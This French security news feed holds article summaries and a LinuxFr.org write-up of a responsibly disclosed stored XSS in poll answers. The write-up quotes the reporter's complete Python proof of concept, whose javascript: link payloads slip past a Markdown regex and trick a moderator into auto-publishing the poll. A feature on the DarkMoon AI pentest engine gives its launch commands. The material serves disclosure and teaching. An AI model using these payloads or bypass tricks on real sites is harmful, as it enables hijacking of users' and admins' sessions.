Vue normale

Anthropic dit avoir découvert le « J-Space », l’espace où Claude pense sans le dire

7 juillet 2026 à 07:51

Anthropic publie un nouveau papier de recherche qui affirme avoir localisé, dans les entrailles de Claude, un espace neuronal jouant le rôle d'une mémoire de travail consciente. Derrière la métaphore neuroscientifique, l'entreprise américaine glisse aussi des enseignements pour la détection de comportements malveillants dans les modèles d'IA.

Voici JADEPUFFER, le ransomware qui n’a plus besoin d’humain

6 juillet 2026 à 15:32

Dans un article de blog publié le 1er juillet 2026, des chercheurs de Sysdig affirment avoir documenté le premier cas de ransomware entièrement piloté par une IA autonome, de la reconnaissance initiale jusqu'au chiffrement des données.

Sur quoi juger un jailbreak : le vrai chantier lancé par Anthropic après la crise Fable 5

6 juillet 2026 à 11:40

Trois semaines après l'avoir suspendu sous la pression de Washington, Anthropic a relancé Fable 5. Mais dans l'ombre de cette affaire, l'entreprise américaine prépare un chantier bien plus structurant : un standard commun pour mesurer la gravité des jailbreaks.

XSS sur le site linuxfr.org (pas très grave à mon avis)

2 juillet 2026 à 21:05

Ce titre est celui d’un courriel reçu le samedi 20 juin 2026 en fin de soirée. La France est alors au milieu de sa deuxième canicule de l’année, et moi en train de produire la dépêche De la fermeture des comptes inactifs depuis 3 ans que je pensais initialement en avance et qui était finalement en retard.

Et donc recevoir un tel message n’annonçait rien de bien rafraîchissant. (Même si ça changeait des week-ends successifs d’annonces de failles de sécurité noyau à déployer plus ou moins en urgence)

Pourtant il s’agissait du signalement d’une faille réelle, fait de façon détaillée, claire et pédagogique. Ça change du bruit de fond habituel sur Internet avec son lot de tentatives diverses et variées d’injections chimériques mi-SQL mi-Javascript mi-PHP, et ses fameux audits de sécurité non-sollicités et délicieusement bourrins. Grand merci donc à 0xMitsurugi H pour avoir explicité le problème.

Sommaire

Le signalement

L’explication

(avec l’autorisation de l’auteur «  mon code et le rapport sont open source »)

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):
#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()
Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Et paf le PoC !

Les cinq images étaient en pièces jointes du signalement.

La démonstration à l’œuvre :

La démonstration à l’œuvre

En admin, le nouveau sondage dans la page des sondages :

Le nouveau sondage dans la page des sondages

En admin, cliquer sur un choix autovalide le sondage :

Cliquer sur un choix permet autovalide le sondage

Et sur le sondage publié, un clic d’un compte utilisateur :

Et sur le sondage publié, un clic

Paf la faille :

Paf la faille

Un peu de contexte

La faille signalée concerne le type de contenu sondages du site LinuxFr.org : un sondage est une question sur un thème donné ; le lectorat du site LinuxFr.org peut choisir parmi un ensemble de réponses proposées. (aide)

Une personne ayant un compte sur le site peut proposer un sondage (aide). Sa publication nécessite une approbation par l’équipe de modération (aide).

Un sondage est composé d’une partie question en Markdown. Et de (en général) plusieurs réponses dans un format exotique : c’est du texte brut, pas de mises en forme en italique/gras ou autre, sauf que les liens au format Markdown [oh un lien](https://une.adresse.invalid) sont possibles, depuis 2012. Ce code pour gérer du supposé texte brut mais acceptant des hyperliens Markdown, avec une expression rationnelle pour gérer, forcément ça annonçait un hypothétique problème à venir.

« Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page. » (Wikipedia) : ici on va glisser un sondage malveillant dans la base de données LinuxFr.org, une personne modératrice va aller le lire et déclencher involontairement la publication, qui devient alors visible par tout le monde, et chaque personne qui ira voter sur le sondage va déclencher un comportement non désiré. Bon en pratique, à ce moment là, ladite personne modératrice se rendrait alors compte du problème et dépublierait le sondage en catastrophe. Potentiellement trop tard pour quelques personnes du lectorat avides de sondages.

Une vraie faille

Bon si ça se trouve, la faille ne fonctionne pas, c’est facile de tester et de voir si on reproduit. Bon on reproduit…

En analysant le code et en testant, on voit qu’il y a plusieurs soucis :

  • on peut insérer en base de données des choses que l’on ne voudrait pas y voir ;
  • on peut afficher ce qu’on a trouvé en base en filtrant mal.

Donc on va ajouter un filtrage à la création sur les hyperliens pour ne laisser passer que les protocoles autorisés et que des adresses qui ressemblent à des adresses.

Et on va ajouter un filtrage à l’affichage / conversion en HTML pour n’afficher que des hyperliens, dans les protocoles autorisés et avec une adresse qui ressemble à une adresse.

Évidemment il y a la contrainte de ne pas casser le fonctionnel et les sondages déjà présents en base de données.

Donc on fait plein de tests un peu cracra :

tests un peu cracra

Et on produit un commit de correction (si tout va bien).

On a aussi vérifié le contenu existant de la base, au cas où.

Il ne restait plus qu’à remercier le contributeur et à convenir d’une publication en dépêche. Que voici.

Conclusion

Une contribution par une personne qui a lu le code source, qui a déployé le site, qui a écrit un bout de code pour illustrer l’exploitation de la faille de bout-en-bout, qui a littéralement illustré l’exploitation avec cinq images et qui a accompagné le tout d’une explication détaillée et en fournissant le code. Que demander de plus ? Encore merci.

Ah oui il faut une ouverture finale et tenir en haleine le lectorat : cette dépêche n'évoque pas la dernière faille signalée (ni même l'avant-dernière), et on n'est que douze jours après.

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Discuter sans numéro sur WhatsApp : voici les pièges à éviter avec les noms d’utilisateurs

1 juillet 2026 à 19:10

WhatsApp permet désormais de discuter sur la messagerie sans dévoiler son numéro de téléphone. Un vrai progrès pour la confidentialité, mais qui déplace la question ailleurs : celle de la confiance que l'on accorde à un pseudo.

Ces six failles dans AirDrop et Quick Share permettent de faire planter des appareils à proximité

30 juin 2026 à 19:10

Deux chercheurs allemands ont mis au jour six vulnérabilités dans les fonctionnalités de partage sans fil d'Apple et de Google/Samsung. De quoi faire planter des appareils à proximité, sans aucune interaction de la victime.

Revue de presse de l’April pour la semaine 26 de l’année 2026

Par : echarp
30 juin 2026 à 06:45

Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

[clubic.com] Cybersécurité: la Linux Foundation va mettre l'open source en ordre de bataille face à l'IA

✍ Naïm Bada, le vendredi 26 juin 2026.

Trouver une faille critique dans un projet open source réclamait des semaines de travail et une expertise pointue. Un bon modèle d’IA peut faire la même chose en quelques minutes. La Linux Foundation a décidé que ça devait changer.

Et aussi:

[Goodtech] Fin de Windows 10: Microsoft accorde un sursis, l'April passe à l'offensive

✍ Rédaction, le vendredi 26 juin 2026.

Microsoft décale la fin du support de Windows 10 à octobre 2027. L’association April en profite pour accélérer sa campagne de migration vers Linux.

Et aussi:

Voir aussi:

[Journal du Net] La souveraineté européenne passera-t-elle par le hardware open source?

✍ Guillaume Renouard, le jeudi 25 juin 2026.

La souveraineté européenne passera-t-elle par le hardware open source ? Le fait de dépendre de technologies propriétaires américaines pour le hardware, comme celui qui est utilisé pour fondre des puces ou faire tourner des centres de données, est problématique.

[Systematic Paris-Region] Open source et souveraineté numérique: Pierre Baudracco appelle l'Europe à mieux soutenir les éditeurs des logiciels libres

✍ Laetitia Jeanne, le jeudi 25 juin 2026.

L’Europe reconnaît de plus en plus l’open source comme un levier stratégique de souveraineté numérique. Une avancée saluée par Pierre Baudracco, fondateur de BlueMind, co-président du CNLL et président du Hub Open Source de Systematic Paris-Region, qui appelle désormais à des mesures concrètes pour faire émerger de véritables alternatives européennes.

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Le nom de votre père, d’une tante ou d’un cousin : une campagne de phishing exploite les liens familiaux pour piéger les Français

25 juin 2026 à 15:16

Une vague de mails malveillants frappe actuellement la France avec une caractéristique inédite : les messages usurpent l'identité de membres de la famille des victimes en usurpant leurs noms exacts. Numerama a pu recueillir plusieurs échantillons de cette campagne.

Le filtre anti-arnaques du gouvernement français se crashe sur le mur du droit européen

24 juin 2026 à 10:30

La Commission européenne vient de rejeter le projet de décret du gouvernement français encadrant le filtre national de cybersécurité. En pointant de graves manquements au droit de l'Union, Bruxelles gèle le dispositif et compromet sa sortie à brève échéance.

Menace AryStinger : un botnet inconnu a transformé des milliers de vieux routeurs en outils de surveillance

22 juin 2026 à 17:30

Un nouveau malware détecté par les chercheurs de XLab exploite des failles vieilles de plus de dix ans pour constituer discrètement une infrastructure d'attaque mondiale. Ses victimes ne savent généralement pas qu'elles en font partie.

Une attaque supply chain expose des données Salesforce de plusieurs entreprises de cybersécurité

22 juin 2026 à 13:38

Une attaque contre la plateforme d'intelligence compétitive Klue a permis à un groupe criminel d'exfiltrer des données CRM chez des dizaines d'entreprises, dont plusieurs noms majeurs du secteur de la cybersécurité.

Open Source Experience prolonge son appel à conférences jusqu’au 24 juin

Initialement terminé le 14 juin dernier, l’appel à conférences du salon Open Source Experience (aka OSXP pour les intimes) est prolongé : les propositions peuvent être soumises jusqu’au 24 juin 2026 à 23 h 59. Quelques jours de plus pour finir le teaser d’un retour d’expérience, affûter un sujet technique ou sortir votre idée de conférence qui traîne dans votre pile À traiter.

Et au passage le village des associations revient en force !

Plus de détails dans la suite de la dépêche.

Prolongation de l'appel à conférence

Suite aux demandes de plusieurs acteurs de l’écosystème que nous ne nommerons pas, car ils ont procrastinés, les organisateurs d’OSXP repoussent la date limite de soumission. L’appel vise des conférences autour du libre et l’open source (forcément) et de la souveraineté numérique (mot très à la mode), avec une préférence assumée pour le concret :

  • Souveraineté numérique, gouvernance et modèles économiques open source
  • Infrastructures ouvertes, cloud et plateformes souveraines
  • IA ouverte, modèles, data et écosystèmes souverains
  • Cybersécurité, confiance et résilience open source
  • Plateforme applicative d'entreprise souveraine
  • Culture, compétences et métiers de l'open source

Les propositions de conférences sont donc à déposer avant le 24 juin 2026 à 23 h 59 sur la page de l'appel à conférences. Si vous avez un sujet à partager, c’est le moment de le soumettre… ou de pousser gentiment quelqu’un de votre communauté à le faire.

Et bientôt le village des Associations

On profite aussi de cette dépêche pour glisser un petit teasing : l’appel à candidatures pour le village des Associations d’Open Source Experience sera bientôt relancé sur LinuxFr.org.

Et il devrait y avoir de bonnes nouvelles pour les associations du libre. On n’en dit pas plus pour l’instant — oui, c’est vilain, mais c’est pour la bonne cause — et oui, j'utilise des tirets cadratins récursifs pour ne pas les laisser aux IA ;-)

Affiche CFP OSXP prolongé

Et rendez-vous les 9 et 10 décembre 2026 à Paris, porte de Versailles.

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Quand on a plus le temps de suivre le protocole : c’est quoi un hotfix en cybersécurité ?

21 juin 2026 à 13:31

Quand une faille critique est exploitée activement, attendre le prochain cycle de mises à jour n'est plus une option. Voici comment l'urgence redéfinit les règles du jeu en cybersécurité.

DarkMoon : un moteur libre de pentest autonome avec agents IA, MCP et outillage conteneurisé

20 juin 2026 à 08:12

DarkMoon est un projet libre de cybersécurité publié sous licence GNU GPLv3. Il propose un moteur de test d’intrusion automatisé, lancé en conteneur Docker, qui orchestre des outils de sécurité existants, des agents spécialisés et un modèle de langage configurable.

Concrètement, l’utilisateur donne une cible autorisée. DarkMoon lance des étapes de reconnaissance, identifie des technologies exposées, choisit certains outils ou agents selon le contexte, puis produit des journaux et un rapport de pentest en Markdown.

Logo DarkMoon

Le projet est récent. Le premier commit visible sur GitHub date de novembre 2025, le dépôt a été rendu public en mai 2026, et une première release a été publiée récemment. Au moment de la rédaction, les mainteneurs indiquent un peu plus de 500 clonages du dépôt et environ 1300 téléchargements des images Docker. Ces éléments donnent un premier signal d’usage, sans en faire pour autant un outil éprouvé en production.

Sommaire

Ce que fait DarkMoon

DarkMoon essaie de répondre à une question simple : peut-on automatiser une partie d’un pentest sans se limiter à lancer un scanner unique ?

Le fonctionnement attendu est le suivant :

  1. on fournit une cible autorisée ;
  2. le moteur lance des outils de reconnaissance ;
  3. il collecte des indices : ports, services, CMS, API, frameworks, chemins, en-têtes, comportements applicatifs ;
  4. il choisit les modules utiles selon ce qu’il observe ;
  5. il exécute les outils dans un conteneur ;
  6. il conserve les journaux ;
  7. il génère un rapport Markdown.

Un projet libre orienté sécurité offensive contrôlée

DarkMoon est publié sous licence libre GNU GPLv3. Le dépôt GitHub contient les scripts d’installation, l’orchestration Docker, les composants de l’outil, les configurations et la documentation associée.

Le projet n’a pas vocation à remplacer l’expertise humaine d’un pentester. Il vise plutôt à automatiser des tâches répétitives, à aider à la corrélation des résultats, et à produire des sorties plus facilement exploitables. Dans un audit réel, l’interprétation, la validation des constats, la priorisation et le respect du cadre légal restent des responsabilités humaines.

L’usage prévu est strictement limité aux environnements autorisés: laboratoires, machines volontairement vulnérables, programmes de bug bounty, audits internes ou périmètres contractuels.

Architecture générale

DarkMoon repose sur trois blocs principaux :

  • un conteneur Docker qui fournit l’environnement d’exécution.
  • un lanceur darkmoon.sh pour démarrer les campagnes et suivre les journaux.
  • une logique d’orchestration qui choisit les outils ou agents à lancer selon les éléments détectés.

La séparation entre le modèle, le contrôle et l’exécution est importante. Le modèle peut proposer une stratégie, mais les actions passent par une couche de contrôle avant d’être exécutées dans le conteneur. Cela permet de garder une trace des actions et de limiter l’exécution directe sur l’hôte.

Installation

L’installation documentée repose sur Docker et Docker Compose. L’utilisateur clone le dépôt, rend les scripts exécutables, puis lance l’installation.

git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
chmod +x install.sh darkmoon.sh
./install.sh

Le script prépare l’environnement, construit les images nécessaires et initialise les volumes. Une fois l’installation terminée, DarkMoon peut être lancé depuis la racine du dépôt.

./darkmoon.sh

Il est aussi possible de lancer directement une cible depuis la ligne de commande.

./darkmoon.sh "TARGET: http://172.19.0.3:3000"

Démarrage d'une évaluation DarkMoon depuis l'interface terminal

Choix du modèle de langage

DarkMoon ne force pas un fournisseur unique de LLM. Lors de l’installation, on peut configurer un fournisseur cloud comme OpenAI, Anthropic ou OpenRouter, mais aussi un modèle local via Ollama, llama.cpp ou une URL compatible avec l’API OpenAI.

C’est un point important pour un outil de sécurité. Selon le contexte, on peut préférer un modèle distant plus performant, ou un modèle local pour éviter d’envoyer des informations de cible, de journaux ou de résultats vers un service externe.

Configuration du fournisseur LLM : cloud, modèle local ou endpoint compatible OpenAI

Exemple de campagne

Une campagne DarkMoon commence par la définition d’un périmètre. La forme minimale consiste à fournir une cible :

./darkmoon.sh "TARGET: http://172.19.0.3:3000"

Une forme plus complète permet de préciser le programme, les cibles incluses, les exclusions, les familles de vulnérabilités à privilégier, le niveau de bruit acceptable et les règles d’engagement.

./darkmoon.sh "TARGET: https://app.example.org PROGRAM='Audit interne' TARGETS=*.example.org,API:https://api.example.org OUT=payments.example.org,10.0.0.0/8 FOCUS=sqli,rce,ssrf,idor EXCLUDE=brute-force NOISE=moderate FORMAT=standard RULES='POC only;no real user data'"

Après le lancement, l’outil fournit un identifiant de session. Les journaux peuvent ensuite être suivis avec:

./darkmoon.sh --log <session_id>

Commande de suivi des journaux d'une session DarkMoon

Démonstration sur OWASP Juice Shop

Une démonstration vidéo montre DarkMoon exécuté contre OWASP Juice Shop, une application volontairement vulnérable conçue pour l’apprentissage et les tests de sécurité applicative. Ce choix est important: il permet d’illustrer le fonctionnement du moteur sur une cible réaliste, mais explicitement prévue pour l’entraînement, sans viser un système tiers.

La vidéo présente le déroulement général d’une campagne: lancement depuis la ligne de commande, analyse de la cible, collecte de signaux techniques, sélection des actions à mener et production progressive d’observations exploitables. Elle permet aussi de mieux comprendre la logique d’orchestration: DarkMoon ne se limite pas à lancer un unique scanner, mais enchaîne plusieurs étapes selon ce qu’il découvre.

Lien de la démonstration : DarkMoon sur OWASP Juice Shop

L’intérêt de Juice Shop dans ce contexte est double. D’un côté, l’application contient de nombreuses familles de vulnérabilités web connues, ce qui permet de tester la capacité de détection et d’enchaînement du moteur. De l’autre, elle fournit un cadre légal et reproductible pour expérimenter l’outil, comparer les résultats et améliorer les agents sans exposer de service réel.

Détection et choix des actions

Le moteur commence par collecter des signaux techniques : ports ouverts, services exposés, technologies web, frameworks, CMS, API, en-têtes HTTP, chemins visibles ou comportements applicatifs.

Ces informations servent ensuite à choisir les actions suivantes. Une cible WordPress, une API GraphQL ou un environnement Kubernetes ne déclenchent pas les mêmes outils ni les mêmes agents.

Résumé du modèle d'environnement détecté par DarkMoon

Matrice de détection et sélection des agents DarkMoon

Outils intégrés

DarkMoon ne réécrit pas les outils de sécurité existants. Il les regroupe dans une image Docker et les appelle selon le contexte détecté.

Parmi les outils cités dans la documentation ou dans les articles qui présentent le projet, on trouve notamment Naabu, Masscan, Nuclei, ffuf, sqlmap, Arjun, wafw00f, Subfinder, Katana, Waybackurls, httpx, WPScan, CMSeeK, Hydra, dig, ainsi que des outils liés à BloodHound, Impacket, kubectl, Kubescape ou Kubeletctl.

Le point important n’est pas la liste exacte des outils, qui peut évoluer, mais la logique d’orchestration: détecter ce qui est pertinent, lancer l’outil adapté, lire la sortie, puis décider de l’étape suivante.

Journaux et rapport Markdown

Une campagne produit des journaux et des artefacts. L’utilisateur peut suivre l’exécution, consulter les étapes et récupérer les résultats dans les répertoires de sortie prévus.

Sortie de journal d'une campagne DarkMoon

DarkMoon génère aussi un rapport de pentest en Markdown. Ce choix est simple: le fichier est lisible dans un terminal, versionnable avec Git, relisible dans une forge, modifiable à la main et convertible ensuite en HTML ou en PDF.

Le rapport doit conserver le contexte de la campagne : cible, périmètre, hypothèses, commandes ou actions utiles, preuves collectées, vulnérabilités relevées, criticité, impact potentiel et pistes de correction.

Cadre d’usage et limites

DarkMoon est un outil offensif. Il doit être utilisé uniquement sur des systèmes pour lesquels l’utilisateur dispose d’une autorisation explicite: laboratoire local, machine volontairement vulnérable, programme de bug bounty, audit interne ou périmètre contractuel.

L’automatisation ne réduit pas les responsabilités de l’utilisateur: définir le périmètre, obtenir les autorisations, éviter les impacts de production et manipuler les données avec précaution.

Les limites sont celles de tout outil de pentest automatisé:

  • faux positifs possibles.
  • faux négatifs possibles.
  • dépendance aux outils appelés.
  • dépendance au modèle de langage choisi.
  • interprétation humaine nécessaire.
  • risque de bruit sur les systèmes testés.
  • nécessité de tester en environnement maîtrisé avant tout usage sérieux.

Un modèle peut proposer une action inutile, trop large ou mal adaptée au contexte. La couche de contrôle et les journaux sont donc utiles, mais ils ne dispensent pas d’une revue humaine.

Contribuer

Le projet est ouvert aux retours techniques. Les contributions les plus utiles concernent:

  • l’installation sur différentes distributions.
  • la documentation.
  • la reproductibilité des exemples.
  • la qualité des rapports Markdown.
  • la réduction des faux positifs.
  • l’ajout d’agents spécialisés.
  • la revue des scripts Docker et shell.
  • les garde-fous d’exécution.
  • les tests sur des laboratoires vulnérables.
  • les issues claires et reproductibles.

Les remarques sur la clarté du fonctionnement sont également bienvenues, surtout pour éviter de présenter l’outil comme plus mature qu’il ne l’est réellement.

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« Nous n’en sommes qu’aux prémices » : la cyberattaque Miasma mute encore, les hackers ont appris à aveugler l’IA

11 juin 2026 à 09:25

La campagne cybercriminelle qui a déjà compromis des dizaines de dépôts de développeurs en mai et juin continue de se transformer. Une nouvelle vague, documentée par la société de sécurité Socket, révèle une escalade technique où les attaquants utilisent les mécanismes de sécurité des IA comme bouclier anti-détection.

Chercher un sac sur ChatGPT, et tomber sur une arnaque : comment les LLM empoisonnées servent de vitrine aux escrocs

8 juin 2026 à 08:45

Dans un article paru le 7 juin 2026, le quotidien britannique The Guardian décrit comment des escrocs sont parvenus à faire remonter des boutiques clonées dans les réponses de ChatGPT. Une technique qui a exploité à la fois les failles des LLM et la disparition d'une marque emblématique.

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